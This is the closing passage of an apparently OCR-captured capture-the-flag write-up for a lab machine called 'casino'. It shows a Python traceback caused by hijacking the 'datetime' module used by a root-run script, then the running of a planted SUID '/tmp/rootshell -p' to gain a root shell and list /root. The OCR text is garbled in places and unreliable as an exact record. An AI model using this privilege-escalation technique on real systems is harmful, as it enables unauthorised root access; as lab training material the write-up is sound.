File "/usr/lib/python3/dist-packages/apport_python_hook.py", line 63, in apport_excepthook
from apport.fileutils import likely_packaged, get_recent_crashes
File "/usr/lib/python3/dist-packages/apport/__init__.py", line 5, in <module>
from apport.report import Report
File "/usr/lib/python3/dist-packages/apport/report.py"”, line 21, in <module>
from urllib.request import urlopen
File "/usr/lib/python3.6/urllib/request.py"”, line 88, in <module>
import http.client
File "/usr/lib/python3.6/http/client.py", line 71, in <module>
import email.parser
File "/usr/lib/python3.6/email/parser.py", line 12, in <module>
from email.feedparser import FeedParser, BytesFeedParser
File "/usr/lib/python3.6/email/feedparser.py", line 27, in <module>
from email._policybase import compat32
File "/usr/lib/python3.6/email/_policybase.py", line 9, in <module>
from email.utils import _has_surrogates
File "/usr/lib/python3.6/email/utils.py", line 33, in <module>
from email._parseaddr import quote
File "/usr/1lib/python3.6/email/_parseaddr.py'
import time, calendar
File "/usr/lib/python3.6/calendar.py"”, line 50, in <module>
class _localized_month:
File "/usr/lib/python3.6/calendar.py"”, line 52, in _localized_month
_months = [datetime.date(2001, i+1, 1).strftime for i1 in range(12)]
File "/usr/lib/python3.6/calendar.py", line 52, in <listcomp>
_months = [datetime.date(2001, i+1, 1).strftime for i in range(12)]
AttributeError: module 'datetime' has no attribute 'date

line 16, in <module>

Original exception was: %
Traceback (most recent call last):
File "/opt/updateBTCPrice.py", line 3, in <module>
from datetime import datetime
ImportError: cannot import name 'datetime'’
carla@casino: 3

Now lets confirm our exploit worked. And yea it worked now lets runit and get root.
carla@casino: $ ls /tmp/rootshell

/tmp/rootshell

carla@casino: $ ls -1 /tmp/rootshell

-rwsr-sr-x 1 root root 1113504 Dec 13 06:41 /tmp/rootshell
carla@casino: N |




carla@casino: $ ./rootshell -p
rootshell-4.4# cd /root
rootshell-4.4# 1s -al

total 48

root r 40906 Jul

root r 4096 Jul ..

root r 179 Jul 1« .bash_history
root r 3106 Apr .bashrc

root r 4096 Jul .cache

root r 28 Jul 1« . Llesshst

root r 4096 Jul 1¢ . local

root r 148 Aug .profile

root r 4096 Jul .scripts

root r 66 Jul 1« .selected_editor
root r / Jul 1« .Sssh

root r Jul system. txt
rootshell-4.4# |}

Andwe're done:)
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